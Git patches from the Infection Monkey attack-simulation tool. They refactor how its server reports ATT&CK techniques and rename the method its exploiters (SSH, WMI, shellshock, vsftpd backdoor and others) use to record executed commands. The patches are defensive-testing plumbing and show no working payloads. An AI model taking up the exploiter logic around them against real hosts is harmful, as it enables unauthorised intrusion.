renderMachine(x.machine), style: { 'whiteSpace': 'unset' }, width: 200}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, From 12eeea68a420a725d30c423b758c0763350ba63d Mon Sep 17 00:00:00 2001 From: itay Date: Tue, 18 Jun 2019 20:17:51 +0300 Subject: [PATCH 14/31] determine if new report needs to be generated pending on latest update time of monkey --- .../cc/services/attack/attack_report.py | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 314a2e4df..37994e73d 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -2,6 +2,7 @@ import logging from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo +from monkey_island.cc.services.node import NodeService __author__ = "VakarisZ" @@ -25,7 +26,13 @@ class AttackReportService: Generates new report based on telemetries, replaces old report in db with new one. :return: Report object """ - report = {'techniques': {}, 'latest_telem_time': AttackReportService.get_latest_attack_telem_time(), 'name': REPORT_NAME} + report =\ + { + 'techniques': {}, + 'meta': {'latest_monkey_modifytime': NodeService.get_latest_modified_monkey()[0]['modifytime']}, + 'name': REPORT_NAME + } + for tech_id, value in AttackConfig.get_technique_values().items(): if value: try: @@ -36,14 +43,6 @@ class AttackReportService: mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) return report - @staticmethod - def get_latest_attack_telem_time(): - """ - Gets timestamp of latest attack telem - :return: timestamp of latest attack telem - """ - return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_catagory': 'attack'}).sort('timestamp', -1).limit(1)][0] - @staticmethod def get_latest_report(): """ @@ -51,9 +50,10 @@ class AttackReportService: :return: report dict. """ if AttackReportService.is_report_generated(): - telem_time = AttackReportService.get_latest_attack_telem_time() + monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) - if telem_time and latest_report['latest_telem_time'] and telem_time == latest_report['latest_telem_time']: + report_modifytime = latest_report['meta']['latest_monkey_modifytime'] + if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: return latest_report return AttackReportService.generate_new_report() From ab4bbd437f6592c4461a8fe6d71db85a3045036f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Jun 2019 11:54:58 +0300 Subject: [PATCH 15/31] Readability improvements --- .../attack/technique_reports/T1075.py | 7 ++++--- .../attack/technique_reports/T1110.py | 8 ++++---- .../attack/technique_reports/T1210.py | 7 ++++--- .../attack/technique_reports/__init__.py | 20 +++++++++---------- 4 files changed, 21 insertions(+), 21 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 18082dfc1..09eee9d44 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -35,9 +35,10 @@ class T1075(AttackTechnique): successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - data.update(T1075.get_message_and_status(ScanStatus.USED)) + status = ScanStatus.USED elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - data.update(T1075.get_message_and_status(ScanStatus.SCANNED)) + status = ScanStatus.SCANNED else: - data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED)) + status = ScanStatus.UNSCANNED + data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index e8e4a62c3..fe236f487 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,12 +35,12 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - data = T1110.get_message_and_status(ScanStatus.USED) + status = ScanStatus.USED elif attempts: - data = T1110.get_message_and_status(ScanStatus.SCANNED) + status = ScanStatus.SCANNED else: - data = T1110.get_message_and_status(ScanStatus.UNSCANNED) - + status = ScanStatus.UNSCANNED + data = T1110.get_message_and_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 677495c10..ff5d1caa0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -18,11 +18,12 @@ class T1210(AttackTechnique): scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg}) + status = ScanStatus.USED elif scanned_services: - data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg}) + status = ScanStatus.SCANNED else: - data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg}) + status = ScanStatus.UNSCANNED.name + data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 7faaf5afd..fe2beb424 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -46,20 +46,19 @@ class AttackTechnique(object): """ pass - @staticmethod - def technique_status(tech_id): + @classmethod + def technique_status(cls): """ Gets the status of a certain attack technique. - :param tech_id: ID of attack technique, for e.g. T1110 :return: ScanStatus Enum object """ if mongo.db.attack_results.find_one({'telem_catagory': 'attack', 'status': ScanStatus.USED.value, - 'technique': tech_id}): + 'technique': cls.tech_id}): return ScanStatus.USED elif mongo.db.attack_results.find_one({'telem_catagory': 'attack', 'status': ScanStatus.SCANNED.value, - 'technique': tech_id}): + 'technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED @@ -87,13 +86,12 @@ class AttackTechnique(object): else: return cls.used_msg - @staticmethod - def technique_title(tech_id): + @classmethod + def technique_title(cls): """ - :param tech_id: Technique's id. E.g. T1110 :return: techniques title. E.g. "T1110 Brute force" """ - return AttackConfig.get_technique(tech_id)['title'] + return AttackConfig.get_technique(cls.tech_id)['title'] @classmethod def get_tech_base_data(cls): @@ -102,8 +100,8 @@ class AttackTechnique(object): :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} """ data = {} - status = AttackTechnique.technique_status(cls.tech_id) - title = AttackTechnique.technique_title(cls.tech_id) + status = cls.technique_status() + title = cls.technique_title() data.update({'status': status.name, 'title': title, 'message': cls.get_message_by_status(status)}) From b3c6baf214d3fb124d0420c9d217957fb905b102 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Jun 2019 11:54:58 +0300 Subject: [PATCH 16/31] Readability improvements --- .../attack/technique_reports/T1075.py | 9 +++++---- .../attack/technique_reports/T1110.py | 10 +++++----- .../attack/technique_reports/T1210.py | 9 +++++---- .../attack/technique_reports/__init__.py | 20 +++++++++---------- 4 files changed, 24 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index 18082dfc1..fa65a66c2 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -31,13 +31,14 @@ class T1075(AttackTechnique): @staticmethod def get_report_data(): - data = {'title': T1075.technique_title(T1075.tech_id)} + data = {'title': T1075.technique_title()} successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - data.update(T1075.get_message_and_status(ScanStatus.USED)) + status = ScanStatus.USED elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - data.update(T1075.get_message_and_status(ScanStatus.SCANNED)) + status = ScanStatus.SCANNED else: - data.update(T1075.get_message_and_status(ScanStatus.UNSCANNED)) + status = ScanStatus.UNSCANNED + data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index e8e4a62c3..0f09fb0fe 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -35,16 +35,16 @@ class T1110(AttackTechnique): result['successful_creds'].append(T1110.parse_creds(attempt)) if succeeded: - data = T1110.get_message_and_status(ScanStatus.USED) + status = ScanStatus.USED elif attempts: - data = T1110.get_message_and_status(ScanStatus.SCANNED) + status = ScanStatus.SCANNED else: - data = T1110.get_message_and_status(ScanStatus.UNSCANNED) - + status = ScanStatus.UNSCANNED + data = T1110.get_message_and_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] - data.update({'services': attempts, 'title': T1110.technique_title(T1110.tech_id)}) + data.update({'services': attempts, 'title': T1110.technique_title()}) return data @staticmethod diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 677495c10..08019699b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -14,15 +14,16 @@ class T1210(AttackTechnique): @staticmethod def get_report_data(): - data = {'title': T1210.technique_title(T1210.tech_id)} + data = {'title': T1210.technique_title()} scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg}) + status = ScanStatus.USED elif scanned_services: - data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg}) + status = ScanStatus.SCANNED else: - data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg}) + status = ScanStatus.UNSCANNED.name + data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 7faaf5afd..fe2beb424 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -46,20 +46,19 @@ class AttackTechnique(object): """ pass - @staticmethod - def technique_status(tech_id): + @classmethod + def technique_status(cls): """ Gets the status of a certain attack technique. - :param tech_id: ID of attack technique, for e.g. T1110 :return: ScanStatus Enum object """ if mongo.db.attack_results.find_one({'telem_catagory': 'attack', 'status': ScanStatus.USED.value, - 'technique': tech_id}): + 'technique': cls.tech_id}): return ScanStatus.USED elif mongo.db.attack_results.find_one({'telem_catagory': 'attack', 'status': ScanStatus.SCANNED.value, - 'technique': tech_id}): + 'technique': cls.tech_id}): return ScanStatus.SCANNED else: return ScanStatus.UNSCANNED @@ -87,13 +86,12 @@ class AttackTechnique(object): else: return cls.used_msg - @staticmethod - def technique_title(tech_id): + @classmethod + def technique_title(cls): """ - :param tech_id: Technique's id. E.g. T1110 :return: techniques title. E.g. "T1110 Brute force" """ - return AttackConfig.get_technique(tech_id)['title'] + return AttackConfig.get_technique(cls.tech_id)['title'] @classmethod def get_tech_base_data(cls): @@ -102,8 +100,8 @@ class AttackTechnique(object): :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} """ data = {} - status = AttackTechnique.technique_status(cls.tech_id) - title = AttackTechnique.technique_title(cls.tech_id) + status = cls.technique_status() + title = cls.technique_title() data.update({'status': status.name, 'title': title, 'message': cls.get_message_by_status(status)}) From 7c01aab58c6245056ea98bb8ad8d94de592d2222 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 19 Jun 2019 12:43:44 +0300 Subject: [PATCH 17/31] CR improvements --- .../cc/services/attack/technique_reports/T1003.py | 7 ++++--- .../cc/services/attack/technique_reports/T1059.py | 7 ++++--- .../cc/ui/src/components/attack/techniques/T1059.js | 4 ++-- 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index 002e2eeb7..abe1963f3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -17,9 +17,10 @@ class T1003(AttackTechnique): @staticmethod def get_report_data(): - data = {'title': T1003.technique_title(T1003.tech_id)} + data = {'title': T1003.technique_title()} if mongo.db.telemetry.count_documents(T1003.query): - data.update({'message': T1003.used_msg, 'status': ScanStatus.USED.name}) + status = ScanStatus.USED else: - data.update({'message': T1003.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + status = ScanStatus.UNSCANNED + data.update(T1003.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index e85e27415..6f126b175 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -22,9 +22,10 @@ class T1059(AttackTechnique): @staticmethod def get_report_data(): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) - data = {'title': T1059.technique_title(T1059.tech_id), 'cmds': cmd_data} + data = {'title': T1059.technique_title(), 'cmds': cmd_data} if cmd_data: - data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name}) + status = ScanStatus.USED else: - data.update({'message': T1059.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + status = ScanStatus.UNSCANNED + data.update(T1059.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index d1c809651..5678b8c14 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -10,7 +10,7 @@ class T1059 extends React.Component { super(props); } - static getHashColumns() { + static getCommandColumns() { return ([{ Header: 'Example commands used', columns: [ @@ -27,7 +27,7 @@ class T1059 extends React.Component {
{this.props.data.status === 'USED' ? Date: Wed, 19 Jun 2019 12:43:44 +0300 Subject: [PATCH 18/31] CR improvements --- monkey/infection_monkey/exploit/__init__.py | 2 +- monkey/infection_monkey/exploit/hadoop.py | 2 +- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/rdpgrinder.py | 2 +- monkey/infection_monkey/exploit/shellshock.py | 2 +- monkey/infection_monkey/exploit/sshexec.py | 2 +- monkey/infection_monkey/exploit/vsftpd.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 4 ++-- monkey/infection_monkey/exploit/wmiexec.py | 2 +- .../cc/services/attack/technique_reports/T1003.py | 9 +++++---- .../cc/services/attack/technique_reports/T1059.py | 7 ++++--- .../cc/ui/src/components/attack/techniques/T1059.js | 4 ++-- 12 files changed, 21 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 7cf1ac4cf..962240665 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -59,7 +59,7 @@ class HostExploiter(object): def add_vuln_port(self, port): self._exploit_info['vulnerable_ports'].append(port) - def add_example_cmd(self, cmd): + def set_example_cmd(self, cmd): self._exploit_info['executed_cmds']['example'] = cmd diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 570575423..39edf0262 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE): return False http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() - self.add_example_cmd(command) + self.set_example_cmd(command) return True def exploit(self, url, command): diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1bf7f90d5..c1409ec6c 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -77,7 +77,7 @@ class MSSQLExploiter(HostExploiter): commands.extend(monkey_args) MSSQLExploiter.execute_command(cursor, commands) MSSQLExploiter.run_file(cursor, tmp_file_path) - self.add_example_cmd(commands[-1]) + self.set_example_cmd(commands[-1]) return True @staticmethod diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 819ff00fb..828b03c20 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -343,5 +343,5 @@ class RdpExploiter(HostExploiter): LOG.info("Executed monkey '%s' on remote victim %r", os.path.basename(src_path), self.host) - self.add_example_cmd(command) + self.set_example_cmd(command) return True diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 9db770905..26e9a743b 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -144,7 +144,7 @@ class ShellShockExploiter(HostExploiter): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") continue - self.add_example_cmd(cmdline) + self.set_example_cmd(cmdline) return True return False diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 226ad8943..e65d3cb19 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -178,7 +178,7 @@ class SSHExploiter(HostExploiter): self._config.dropper_target_path_linux, self.host, cmdline) ssh.close() - self.add_example_cmd(cmdline) + self.set_example_cmd(cmdline) return True except Exception as exc: diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index f3f13c073..eddac620c 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -138,7 +138,7 @@ class VSFTPDExploiter(HostExploiter): if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) - self.add_example_cmd(run_monkey) + self.set_example_cmd(run_monkey) return True else: return False diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 43c1b5749..351eb7c17 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -408,7 +408,7 @@ class WebRCE(HostExploiter): # If exploiter returns True / False if type(resp) is bool: LOG.info("Execution attempt successfully finished") - self.add_example_cmd(command) + self.set_example_cmd(command) return resp # If exploiter returns command output, we can check for execution errors if 'is not recognized' in resp or 'command not found' in resp: @@ -422,7 +422,7 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") - self.add_example_cmd(command) + self.set_example_cmd(command) return resp def get_monkey_upload_path(self, url_to_monkey): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index b9decf433..648fb233d 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -114,7 +114,7 @@ class WmiExploiter(HostExploiter): result.RemRelease() wmi_connection.close() - self.add_example_cmd(cmdline) + self.set_example_cmd(cmdline) return success return False diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py index 002e2eeb7..d30197e9a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py @@ -9,7 +9,7 @@ class T1003(AttackTechnique): tech_id = "T1003" unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." - scanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed." + scanned_msg = "" used_msg = "Monkey successfully obtained some credentials from systems on the network." query = {'telem_type': 'system_info_collection', '$and': [{'data.credentials': {'$exists': True}}, @@ -17,9 +17,10 @@ class T1003(AttackTechnique): @staticmethod def get_report_data(): - data = {'title': T1003.technique_title(T1003.tech_id)} + data = {'title': T1003.technique_title()} if mongo.db.telemetry.count_documents(T1003.query): - data.update({'message': T1003.used_msg, 'status': ScanStatus.USED.name}) + status = ScanStatus.USED else: - data.update({'message': T1003.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + status = ScanStatus.UNSCANNED + data.update(T1003.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index e85e27415..6f126b175 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -22,9 +22,10 @@ class T1059(AttackTechnique): @staticmethod def get_report_data(): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) - data = {'title': T1059.technique_title(T1059.tech_id), 'cmds': cmd_data} + data = {'title': T1059.technique_title(), 'cmds': cmd_data} if cmd_data: - data.update({'message': T1059.used_msg, 'status': ScanStatus.USED.name}) + status = ScanStatus.USED else: - data.update({'message': T1059.unscanned_msg, 'status': ScanStatus.UNSCANNED.name}) + status = ScanStatus.UNSCANNED + data.update(T1059.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index d1c809651..5678b8c14 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -10,7 +10,7 @@ class T1059 extends React.Component { super(props); } - static getHashColumns() { + static getCommandColumns() { return ([{ Header: 'Example commands used', columns: [ @@ -27,7 +27,7 @@ class T1059 extends React.Component {
{this.props.data.status === 'USED' ? Date: Sun, 23 Jun 2019 14:03:13 +0300 Subject: [PATCH 19/31] Use mongoengine for latest modify time --- monkey/monkey_island/cc/models/monkey.py | 4 ++++ monkey/monkey_island/cc/services/attack/attack_report.py | 7 ++++--- monkey/monkey_island/cc/services/node.py | 4 ---- monkey/monkey_island/cc/services/report.py | 5 +++-- 4 files changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 3e1e3d7c5..20f45f5e0 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -41,6 +41,10 @@ class Monkey(Document): except IndexError: raise MonkeyNotFoundError("id: {0}".format(str(db_id))) + @staticmethod + def get_latest_modifytime(): + return Monkey.objects.order_by('-modifytime').first().modifytime + def is_dead(self): monkey_is_dead = False if self.dead: diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 37994e73d..d320c97da 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,8 +1,9 @@ import logging + +from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo -from monkey_island.cc.services.node import NodeService __author__ = "VakarisZ" @@ -29,7 +30,7 @@ class AttackReportService: report =\ { 'techniques': {}, - 'meta': {'latest_monkey_modifytime': NodeService.get_latest_modified_monkey()[0]['modifytime']}, + 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()}, 'name': REPORT_NAME } @@ -50,7 +51,7 @@ class AttackReportService: :return: report dict. """ if AttackReportService.is_report_generated(): - monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + monkey_modifytime = Monkey.get_latest_modifytime() latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) report_modifytime = latest_report['meta']['latest_monkey_modifytime'] if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime: diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 442fb391a..9da76b358 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -308,10 +308,6 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() - @staticmethod - def get_latest_modified_monkey(): - return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1) - @staticmethod def add_credentials_to_monkey(monkey_id, creds): mongo.db.monkey.update( diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 2cd0e82fa..ee3976886 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -10,6 +10,7 @@ from enum import Enum from six import text_type from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge import EdgeService @@ -714,7 +715,7 @@ class ReportService: config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() - monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] + monkey_latest_modify_time = Monkey.get_latest_modifytime() report = \ { @@ -779,7 +780,7 @@ class ReportService: if latest_report_doc: report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] - latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + latest_monkey_modifytime = Monkey.get_latest_modifytime() return report_latest_modifytime == latest_monkey_modifytime return False From 5fc6fa5c3c9fcabb43397596f33f7308dc8a343f Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 23 Jun 2019 14:03:41 +0300 Subject: [PATCH 20/31] Fix field type to contain more precise time --- monkey/monkey_island/cc/models/monkey.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 20f45f5e0..520b967a0 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -2,8 +2,8 @@ Define a Document Schema for the Monkey document. """ import mongoengine -from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, DateField, \ - ReferenceField +from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, ReferenceField, \ + DateTimeField from monkey_island.cc.models.monkey_ttl import MonkeyTtl @@ -24,8 +24,8 @@ class Monkey(Document): hostname = StringField() internet_access = BooleanField() ip_addresses = ListField(StringField()) - keepalive = DateField() - modifytime = DateField() + keepalive = DateTimeField() + modifytime = DateTimeField() # TODO change this to an embedded document as well - RN it's an unnamed tuple which is confusing. parent = ListField(ListField(StringField())) config_error = BooleanField() From c4c53f732af9af3130398c9d17118aa4ca7b7039 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 25 Jun 2019 08:36:21 +0300 Subject: [PATCH 21/31] powershell command storage refactor --- monkey/infection_monkey/exploit/__init__.py | 5 ++--- .../cc/services/attack/technique_reports/T1086.py | 9 +++++---- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0a445b7ed..611599970 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -60,7 +60,8 @@ class HostExploiter(object): self._exploit_info['vulnerable_ports'].append(port) def set_example_cmd(self, cmd): - self._exploit_info['executed_cmds']['example'] = cmd + powershell = True if "powershell" in cmd.lower() else False + self._exploit_info['executed_cmds']['example'].append({'command': cmd, 'powershell': powershell}) def add_powershell_cmd(self, cmd): """ @@ -68,8 +69,6 @@ class HostExploiter(object): :param cmd: Command used :return: None """ - if "powershell" in cmd.lower(): - self._exploit_info['executed_cmds']['powershell'] = cmd from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 1dc2e9a67..8e550cfcf 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -13,7 +13,7 @@ class T1086(AttackTechnique): used_msg = "Monkey successfully ran powershell commands on exploited machines in the network." query = [{'$match': {'telem_type': 'exploit', - 'data.info.executed_cmds.powershell': {'$exists': True}}}, + 'data.info.executed_cmds.example': {'$elemMatch': {'powershell': True}}}}, {'$project': {'_id': 0, 'machine': '$data.machine', 'info': '$data.info'}}, @@ -22,9 +22,10 @@ class T1086(AttackTechnique): @staticmethod def get_report_data(): cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) - data = {'title': T1086.technique_title(T1086.tech_id), 'cmds': cmd_data} + data = {'title': T1086.technique_title(), 'cmds': cmd_data} if cmd_data: - 